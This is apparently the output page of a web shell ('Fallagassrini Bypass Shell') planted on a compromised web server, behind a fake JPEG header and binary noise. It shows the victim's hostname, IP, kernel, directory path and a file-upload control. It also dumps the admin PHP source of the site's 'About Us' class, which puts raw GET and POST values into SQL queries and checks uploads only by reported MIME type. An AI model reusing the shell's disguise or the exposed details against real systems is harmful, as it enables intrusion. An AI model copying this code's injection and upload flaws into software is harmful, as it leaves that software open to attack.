JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/admin/includes/classes/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/admin/includes/classes/class.AboutUs.php

<?php
  $dev_id = $_GET["dev_id"];
#####Class For Adding Content Management ######
class AboutUs extends MysqlFns{
 
 /* class constructor */
 function AboutUs(){
 $this->LDDisplayPath= $config['SiteGlobalPath']."class.AboutUs.php";
  global $config;
  global $objSmarty;
  $this->MysqlFns();
  $this->Limit = 15;

   $SelQuery	= 'SELECT max(sl_no) as last FROM `images` Limit 0,1';
 //  echo $SelQuery;
   $DevDetail	= $this->ExecuteQuery($SelQuery, 'select');
 //  	echo $DevDetail[0]['last'];
   $DevDetail[0]['description'] = stripslashes($DevDetail[0]['last']);
  	$m_c1 = preg_replace("/[^0-9\.]/", '', $DevDetail[0]['sl_no']);
	$m_c1= $m_c1 + 1;
	$str = str_split($DevDetail[0]['last'], 1);
	$m_c = $str[0]. "" .$m_c1;
   $objSmarty->assign('m_c', $m_c);
 }




 //Create FCK Editor
 function CreateFCKeditor($value = ''){
  global $config, $objSmarty;

  include($config['FckEditorPath'] . '/fckeditor.php');
  $sBasePath = $config['SiteFCKEditorBasePath'];

  $oFCKeditor 			= new FCKeditor('content') ;
  $oFCKeditor->BasePath	= $sBasePath ;
  $oFCKeditor->Width		= 600 ;
  $oFCKeditor->Height		= 450 ;
  $oFCKeditor->Value		= $value;
  $objSmarty->assign('Editor', $oFCKeditor->Create());
 }
 
 
 /* Insert the content for  About Us Pages */
 function InsertAboutContent($objArray,$objFiles){
  global $objSmarty,$config,$_FILES,$_POST;
  $objSmarty->assign('Keyword', $this->Keyword);
  $objSmarty->assign('Operator', $this->Operator);
  $objSmarty->assign('Offset', $this->Offset);
  $objSmarty->assign('PerPage', $this->PerPage);
  if($this->ChkDupliMat(($objArray))){
		list ($name,$format) = split("[.]", $objFiles['image']['name'],2);
		list ($name,$format) = split("[.]", $objFiles['image1']['name'],2);
		$uploadpath = $config['AboutUsPath'];

				if($objFiles['image']["name"] <> "")
		{
			    $errors     = array();
   				$maxsize    = 5242880;
   				$acceptable = array(
				'image/jpeg','image/jpg','image/gif','image/png','application/pdf','text/plain','application/msword','application/vnd.openxmlformats-officedocument.presentationml.presentation','application/vnd.openxmlformats-officedocument.wordprocessingml.document',
				'application/x-zip-compressed','application/vnd.ms-excel','application/vnd.ms-powerpoint','video/pps','application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
		if(($_FILES['image']['size'] >= $maxsize) || ($_FILES["image"]["size"] == 0)) {
		$errors[] = 'File --1-- too large. File must be less than 2 megabytes';
		}
		
		if((!in_array($_FILES['image']['type'], $acceptable)) && (!empty($_FILES["image"]["type"])))
		 {
		$errors1[] = 'File --1-- Only PDF, JPG, JPEG, TXT, DOC, DOCX, XLS, XLSX, ZIP, PPT, PPTX, GIF and PNG types are accepted';
		}
		
		if(count($errors)  === 0 && count($errors1)  === 0) 
		{
			if((!file_exists($config['AboutUsPath'] . $_FILES["image"]["name"])))
			{	$time = date("Y_m_d_H_i_s");
				$f1 = $objFiles['image']['name'];
				$f1 = $time.'_'.$f1;
				
				if(move_uploaded_file($objFiles['image']['tmp_name'], $uploadpath.$f1))
				//echo ($uploadpath.$f1);exit;
				chmod($uploadpath.$f1,"0511");
			}
		   } 
		  
			else {
        	foreach($errors as $error) 
			{
            $objSmarty->assign('ErrorMessage', $error);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;			
        }
		foreach($errors1 as $error1) 
			{
            $objSmarty->assign('ErrorMessage', $error1);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;						
        }
		
		}
	}
	if($objFiles['image1']["name"] <> "")
		{
			    $errors     = array();
   				$maxsize    = 5242880;
   				$acceptable = array(
				'image/jpeg','image/jpg','image/gif','image/png','application/pdf','text/plain','application/msword','application/vnd.openxmlformats-officedocument.presentationml.presentation','application/vnd.openxmlformats-officedocument.wordprocessingml.document',
				'application/x-zip-compressed','application/vnd.ms-excel','application/vnd.ms-powerpoint','video/pps','application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
		if(($_FILES['image1']['size'] >= $maxsize) || ($_FILES["image1"]["size"] == 0)) {
		$errors[] = 'File --1-- too large. File must be less than 2 megabytes';
		}
		
		if((!in_array($_FILES['image1']['type'], $acceptable)) && (!empty($_FILES["image1"]["type"])))
		 {
		$errors1[] = 'File --1-- Only PDF, JPG, JPEG, TXT, DOC, DOCX, XLS, XLSX, ZIP, PPT, PPTX, GIF and PNG types are accepted';
		}
		
		if(count($errors)  === 0 && count($errors1)  === 0) 
		{
			if((!file_exists($config['AboutUsPath'] . $_FILES["image1"]["name"])))
			{	$time = date("Y_m_d_H_i_s");
				$f2 = $objFiles['image1']['name'];
				$f2 = $time.'_'.$f2;
				
				if(move_uploaded_file($objFiles['image1']['tmp_name'], $uploadpath.$f2))
				//echo ($uploadpath.$f1);exit;
				chmod($uploadpath.$f2,"0511");
			}
		   } 
		  
			else {
        	foreach($errors as $error) 
			{
            $objSmarty->assign('ErrorMessage', $error);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;			
        }
		foreach($errors1 as $error1) 
			{
            $objSmarty->assign('ErrorMessage', $error1);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;						
        }
		
		}
	}
	

   if(!$objArray['tittle']){
   
    $objSmarty->assign('ErrorMessage', 'Tittle should not be blank');
	return false;
   }elseif(!$objArray['description']){
   
    $objSmarty->assign('ErrorMessage', 'Description should not be blank');
	return false;
   }elseif(!$objFiles['image']){
    $objSmarty->assign('ErrorMessage', 'Image should not be blank');
	return false;
   }elseif(!$objFiles['image1']){
    $objSmarty->assign('ErrorMessage', 'Image1 should not be blank');
	return false;
	}
   //*************************** Insert Turbine Reg Master *********************************************
   if($objArray['tittle'] && $objArray['description']){    
   $InsQuery = 'INSERT INTO `about_us` (`tittle`, `description`, `image`, `image1`,`status`) VALUES("'.trim(addslashes($objArray['tittle'])).'","'.trim(addslashes($objArray['description'])).'","'.$f1.'","'.$f2.'","1")'; 
	$this->ExecuteQuery($InsQuery, 'insert');
	$this->AboutUs();
	$objSmarty->assign('Mcd',$objArray['description']);
	$oFCKeditor->Value		= '';
	$objSmarty->assign('description', '');
	//$objSmarty->assign('SuccessMessage', 'New Material Added Successfully');
    $url_addtnal_data=base64_encode("Content Uploaded Successfully");
    header('location:'.$_SERVER['PHP_SELF']."?sm=".$url_addtnal_data);
  }
  }
 // else{
//   
//    $url_addtnal_data=base64_encode("Material Code Already Exists");
//    header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
//   PrePopulate($objArray, 'DevDetail');
//  }
 }
 
 
 /* Get the Static Content list */
 function GetAboutLists($objArray=''){
  global $objSmarty;

  $whereClause = ' WHERE `status`="1" ORDER BY sl_no';
  
  if($_POST['search'] == ''){
  			if($_POST['tittle'])
	   			$whereClause = ' WHERE (`tittle` like "%'.$objArray['tittle'].'%") AND `status`="1" ORDER BY sl_no';	
	   		elseif($_POST['image'])
	   			$whereClause = ' WHERE (`image` like "%'.$objArray['image'].'%")  AND `status`="1" ORDER BY sl_no';
			elseif($_POST['image1'])
	   			$whereClause = ' WHERE (`image1` like "%'.$objArray['image1'].'%")  AND `status`="1" ORDER BY sl_no';								
			elseif($_POST['description'])
				$whereClause = ' WHERE (`description` like "%'.$objArray['description'].'%")  AND `status`="1" ORDER BY sl_no';
			
														
				
   $objSmarty->assign('tittle',$_POST['tittle']);
   $objSmarty->assign('image',$_POST['image']);
   $objSmarty->assign('image1',$_POST['image1']);
   $objSmarty->assign('description',$_POST['description']);
  
  }
  $SelQuery		= 'SELECT * FROM `about_us`'.$whereClause;
  $listing_split3 =  $this->ExecuteQuery($SelQuery, 'select');
/*  if ( ($listing_split3->number_of_rows > 0) )  {
   $objSmarty->assign('LinkPage',$listing_split3->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split3->display_links_submit($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
   $PageList = $this->ExecuteQuery($listing_split3->sql_query, 'selectassoc');
   
  }*/
/*  if(!empty($PageList) && is_array($PageList))

   foreach($PageList as $key=>$value){
    $PageList[$key]['ID'] = stripslashes($PageList[$key]['customer_id']);
	$PageList[$key]['Cname'] = stripslashes($PageList[$key]['customer_name']);
	$PageList[$key]['Ctype'] = stripslashes($PageList[$key]['customer_type']);
	$PageList[$key]['Ccategory'] = stripslashes($PageList[$key]['category']);
	$PageList[$key]['Cadd'] = stripslashes($PageList[$key]['address1']);
	$PageList[$key]['Ccity'] = stripslashes($PageList[$key]['city']);
	$PageList[$key]['Cstate'] = stripslashes($PageList[$key]['state']);
	$PageList[$key]['Ccontact'] = stripslashes($PageList[$key]['contact_person']);
	$PageList[$key]['Cmobile'] = stripslashes($PageList[$key]['mobile']);
	$PageList[$key]['Cemail'] = stripslashes($PageList[$key]['email']);
	$PageList[$key]['Cstatus'] = stripslashes($PageList[$key]['status']);
	$PageList[$key]['Caccount'] = stripslashes($PageList[$key]['account_manager']);
	$PageList[$key]['Cdelivery'] = stripslashes($PageList[$key]['delivery_manager']);
	
	 if($PageList[$key]['Cstatus'] == 1){
	 $PageList[$key]['Cstatus'] ='Active';
	}
	elseif($PageList[$key]['Cstatus'] == 0){
	 $PageList[$key]['Cstatus'] ='InActive';
	}
   }*/

 // $objSmarty->assign('i', $listing_split->i);
  $objSmarty->assign('PageList', $listing_split3);//print_r($PageList);
  return $PageList;
 
}

//Get AboutUs Details 
 
  function GetAboutUs($objArray='')  
	{
		global $objSmarty;
		$SelQuery4 = 'SELECT * FROM `about_us` WHERE tittle ="'.$_GET['title'].'" AND status="1"' ;
		$PageList2		= $this->ExecuteQuery($SelQuery4, "select");
        $objSmarty->assign('PageList2', $PageList2);
	}
 
 
 //Get AboutUs Edit Details 
 
  function GetAboutEditMgmt($objArray='')  
	{
		global $objSmarty;
		$SelQuery4 = 'SELECT * FROM `about_us` WHERE tittle="'.$_GET['title'].'" AND status="1"' ;
		$PageList3		= $this->ExecuteQuery($SelQuery4, "select");
        $objSmarty->assign('PageList3', $PageList3);
	}
 
 /* Validation for Static Pages */
 function ChkDupliMat($objarray){
  global $objSmarty;
  if(!empty($objarray))
  $SelQueryx		= 'SELECT * FROM `about_us` WHERE `description` = "'.$objarray['description'].'" Limit 0,1';
  $DevDetail		= $this->ExecuteQuery($SelQueryx, 'select');
  if(!empty($DevDetail) && is_array($DevDetail))
   return false;
  else
   return true;
 }
 
 
 
  function ChkDupliMat2($objarray){
  global $objSmarty;
  if(!empty($objarray))
   $WhereClause	= '';
  $SelQueryx		= 'SELECT * FROM `about_us` WHERE `description` = "'.$objarray['description'].'" AND `m_type` = "'.$objarray['m_type'].'" AND `m_cat` = "'.$objarray['m_cat'].'" Limit 0,1' ;
  $DevDetail		= $this->ExecuteQuery($SelQueryx, 'select');
  if(!empty($DevDetail) && is_array($DevDetail))
   return false;
  else
   return true;
 }
 
 
 /* Delete the Static Page */

 function DeleteID($id){
  global $objSmarty;
  $DelQuery3 = 'DELETE FROM `images`  WHERE `m_name`="'.$_GET[$id].'"'; 
  $this->ExecuteQuery($DelQuery3, 'delete');
  $objSmarty->assign('SuccessMessage1', 'Deleted Successfully');
 }
 
  function RoleList(){
	global $objSmarty;
	 $SelQuery1	= 'SELECT role_name FROM arka_group_mapping WHERE `group_name` = "'.$_SESSION['USER_GROUP'].'" ORDER BY sl_no';
	  $RL		= $this->ExecuteQuery($SelQuery1, "select");

  if(!empty($RL) && is_array($RL))
   foreach($RL as $key=>$value){
    $RL[$key]['role_id'] = stripslashes($RL[$key]['role_id']);
	$RL[$key]['role_name'] = stripslashes($RL[$key]['role_name']);
	$objSmarty->assign('RList', $RL);
  return $RL;
		}
	}
 	
function DeleteID2($id){ 
  global $objSmarty;
   $DelQuery2 = 'update `images` set status ="0" WHERE `m_name`="'.$_GET['tittle'].'" '; 
	$this->ExecuteQuery($DelQuery2, 'delete');
	header('Location:' .$_SERVER['PHP_SELF'].'?server_success1=delete succeed');
	//  $objSmarty->assign('SuccessMessage1', 'Deleted Successfully');
	}
	
	function EditAboutUs($objArray,$objFiles)
 {
    global $objSmarty,$config,$_FILES,$_POST;
  $objSmarty->assign('Keyword', $this->Keyword);
  $objSmarty->assign('Operator', $this->Operator);
  $objSmarty->assign('Offset', $this->Offset);
  $objSmarty->assign('PerPage', $this->PerPage);
		list ($name,$format) = split("[.]", $objFiles['image']['name'],2);
		list ($name,$format) = split("[.]", $objFiles['image1']['name'],2);
		$uploadpath = $config['AboutUsPath'];

				if($objFiles['image']["name"] <> "")
		{
			    $errors     = array();
   				$maxsize    = 5242880;
   				$acceptable = array(
				'image/jpeg','image/jpg','image/gif','image/png','application/pdf','text/plain','application/msword','application/vnd.openxmlformats-officedocument.presentationml.presentation','application/vnd.openxmlformats-officedocument.wordprocessingml.document',
				'application/x-zip-compressed','application/vnd.ms-excel','application/vnd.ms-powerpoint','video/pps','application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
		if(($_FILES['image']['size'] >= $maxsize) || ($_FILES["image"]["size"] == 0)) {
		$errors[] = 'File --1-- too large. File must be less than 2 megabytes';
		}
		
		if((!in_array($_FILES['image']['type'], $acceptable)) && (!empty($_FILES["image"]["type"])))
		 {
		$errors1[] = 'File --1-- Only PDF, JPG, JPEG, TXT, DOC, DOCX, XLS, XLSX, ZIP, PPT, PPTX, GIF and PNG types are accepted';
		}
		
		if(count($errors)  === 0 && count($errors1)  === 0) 
		{
			if((!file_exists($config['AboutUsPath'] . $_FILES["image"]["name"])))
			{	$time = date("Y_m_d_H_i_s");
				$f1 = $objFiles['image']['name'];
				$f1 = $time.'_'.$f1;
				
				if(move_uploaded_file($objFiles['image']['tmp_name'], $uploadpath.$f1))
				//echo ($uploadpath.$f1);exit;
				chmod($uploadpath.$f1,"0511");
			}
		   } 
		  
			else {
        	foreach($errors as $error) 
			{
            $objSmarty->assign('ErrorMessage', $error);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;			
        }
		foreach($errors1 as $error1) 
			{
            $objSmarty->assign('ErrorMessage', $error1);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;						
        }
		
		}
	}
	if($objFiles['image1']["name"] <> "")
		{
			    $errors     = array();
   				$maxsize    = 5242880;
   				$acceptable = array(
				'image/jpeg','image/jpg','image/gif','image/png','application/pdf','text/plain','application/msword','application/vnd.openxmlformats-officedocument.presentationml.presentation','application/vnd.openxmlformats-officedocument.wordprocessingml.document',
				'application/x-zip-compressed','application/vnd.ms-excel','application/vnd.ms-powerpoint','video/pps','application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
		if(($_FILES['image1']['size'] >= $maxsize) || ($_FILES["image1"]["size"] == 0)) {
		$errors[] = 'File --1-- too large. File must be less than 2 megabytes';
		}
		
		if((!in_array($_FILES['image1']['type'], $acceptable)) && (!empty($_FILES["image1"]["type"])))
		 {
		$errors1[] = 'File --1-- Only PDF, JPG, JPEG, TXT, DOC, DOCX, XLS, XLSX, ZIP, PPT, PPTX, GIF and PNG types are accepted';
		}
		
		if(count($errors)  === 0 && count($errors1)  === 0) 
		{
			if((!file_exists($config['AboutUsPath'] . $_FILES["image1"]["name"])))
			{	$time = date("Y_m_d_H_i_s");
				$f2 = $objFiles['image1']['name'];
				$f2 = $time.'_'.$f2;
				
				if(move_uploaded_file($objFiles['image1']['tmp_name'], $uploadpath.$f2))
				//echo ($uploadpath.$f1);exit;
				chmod($uploadpath.$f2,"0511");
			}
		   } 
		  
			else {
        	foreach($errors as $error) 
			{
            $objSmarty->assign('ErrorMessage', $error);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;			
        }
		foreach($errors1 as $error1) 
			{
            $objSmarty->assign('ErrorMessage', $error1);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;						
        }
		
		}
	}
	
   if(!$objArray['tittle']){
   
    $objSmarty->assign('ErrorMessage', 'Title should not be blank');
	return false;
   }elseif(!$objArray['description']){
   
    $objSmarty->assign('ErrorMessage', 'Description should not be blank');
	return false;
   }/*elseif(!$objFiles['image']){
    $objSmarty->assign('ErrorMessage', 'Image should not be blank');
	return false;
   }elseif(!$objFiles['image1']){
    $objSmarty->assign('ErrorMessage', 'Image1 should not be blank');
	return false;
	}*/
	
   if($objArray['tittle']){
   if($f1!= '' && $f2!= ''){
  	$UpQuery = 'UPDATE `about_us` SET `tittle` = "'.trim($objArray['tittle']).'",`image` = "'.$f1.'",`image1`="'.$f2.'",`description` = "'.trim($objArray['description']).'",`status` = "1" WHERE `tittle` ="'.$_GET['title'].'"';
  }
  else
  {
  	$UpQuery = 'UPDATE `about_us` SET `tittle` = "'.trim($objArray['tittle']).'",`description` = "'.trim($objArray['description']).'",`status` = "1" WHERE `tittle` ="'.$_GET['title'].'"';
  }
	$this->ExecuteQuery($UpQuery, 'update');
// header('Location:' .$_SERVER['PHP_SELF'].'?server_response=success&supplier_code='.$objArray['supplierCode'].'&window_action=true');
 header('Location:' .$_SERVER['PHP_SELF'].'?title='.$objArray['tittle'].'&server_response=update success');	
 
 }
 }
}
?>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net